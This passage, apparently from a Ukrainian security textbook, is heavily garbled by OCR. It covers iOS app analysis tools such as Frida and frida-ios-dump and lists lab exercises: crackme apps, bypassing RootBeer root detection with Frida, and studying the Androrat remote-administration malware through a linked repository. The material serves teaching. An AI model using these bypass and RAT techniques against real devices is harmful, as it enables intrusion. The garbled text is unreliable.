ne jtool2 3 [178]. Cuaix 3a3naunTH, UpU aHAI3l 3aCTOCYHKIB OTPUMAHUX
3 App Store ma upucrpoi (IPA), moxe 3Hamoburucs moAaTKOBUl KPOK
posmudpyBaHHsl 38 JIONOMOro0, Hanpukias, frida-ios-dump [179).

JunamMiaauit aHaIi3 3pasKy y OLIBIIOCTI BUAIKIB BUMArae HassBHOCTI ¢i-
gugHOro npuctpoo. Crupobu CTBOpEHHST eMysIATOpiB abo 3/1a4di B OpeH/y
JIOCTYILy JIO0 HPHUCTPOIB, AHAJIOTTYHUX 3a MOXKJIMBOCTSIMH JIO €MYJISITODIiB
Android, crukarorbest 3 opugnaauME Tpobaemamu 3 60Ky Apple. B okpe-
MUX 33/Ia9aX MOXKYTb 6y TH KOPUCHIUMHE 3aCO0U CUMBOJIITHOTO Ta YaCTKOBO-
CHMBOJIIYHOTO BuKOHaHHH [180).

Ak i B Android, jmis quHamigHOrO iHCTpYMEHTYBaHHs jnocrynHa Frida [171].
B o00ox cucremax anasiz MepekeBHX KOMYHIKAI MOXKJIMBHN 3a IOIIOMOTOIO
TeXHOJIOTi! po3mity 5.3.3.

8.4 BapianTu 3aB/IaHb

¢ IIpoanamisyiire UnCrackable Mobile Apps [181], Hacking Playground [182]
5 OWASP MSTG [183].

e Peauizyiire 06xin nepesipok RootBeer [184] 3a monomororo Frida [185].

e JlocmimiTh 3pa3Ku CHCTEM BiTAIEHOTO KEPYBAHHS 3a MPUKJIAIOM PO3JTi-
ay 8.3.1:

— Androrat — https://github.com/wszf/androrat;
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